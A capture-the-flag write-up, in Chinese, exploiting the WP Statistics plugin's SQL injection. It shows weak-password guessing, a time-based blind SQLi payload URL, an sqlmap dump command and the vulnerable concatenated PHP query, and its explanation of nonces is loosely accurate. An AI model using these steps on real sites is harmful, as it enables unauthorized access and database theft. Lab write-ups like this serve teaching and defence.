題目描述:
WP Statistics WordPress 外掛13.2.9之前的版本不會轉義引數,這可能允許經過身份驗證的使用者執行 SQL 注入攻擊。預設情況下,具有管理選項功能 (admin+) 的使用者可以使用受影響的功能,但是該外掛有一個設定允許低許可權使用者也可以訪問它。
根據描述,我們直接去檢視wp-admin路由.
使用弱密碼爆破發現賬號密碼都是test,成功登入.
登入以後發現已啟用有漏洞的WP Statics.
我們上wpscan網站上去檢視有關這個漏洞的利用如下
Log in as a user allowed to View WP Statistic and get a nonce via https://example.com/wp-admin/admin-ajax.php?action=rest-nonce, and use it in the URL below, which will be delayed by 5s:
http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
首先訪問https://example.com/wp-admin/admin-ajax.php?action=rest-nonce
獲得一個動態驗證碼(nonce).
什麼是動態驗證碼(nonce)?nonce是api的一種校驗機制,描述如下
(1)nonce為客戶端隨機生成的驗證碼,當伺服器接收到請求後,會把nonce儲存到資料庫中,一般使用redis,並設定一個有效期,一般和時間戳timestamp的失效時間保持一致,設為10分鐘有效期。
(2)當伺服器接收到請求後,用請求中nonce(本文為7878)和redis中的nonce集合做比較,如果已經存在,則拒絕訪問介面,只有當10分鐘之內第一次使用7878這個動態碼,才判定訪問有效。
然後我們使用這個動態驗證碼替換NONCE訪問http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa
然後再次訪問並擷取http報文,扔到sqlmap裡跑一下即可得到flag.
最終的sqlmap命令如下
sqlmap -r http -D wordpress -T flag -C flag --dump
從原始碼角度分析一下漏洞的成因,sql執行語句如下:
$wpdb->get_results("SELECT * FROM `" . DB::table('search') . "` INNER JOIN `" . DB::table('visitor') . "` on `" . DB::table('search') . "`.`visitor` = " . DB::table('visitor') . ".`ID` WHERE {$search_query} ORDER BY `" . DB::table('search') . "`.`ID` DESC " . ($args['limit'] != null ? " LIMIT " . $args['limit'] : " LIMIT 0, {$args['per_page']}"));
可以看到並不是引數繫結,而是直接進行拼接的(雖然拼接的比較麻煩).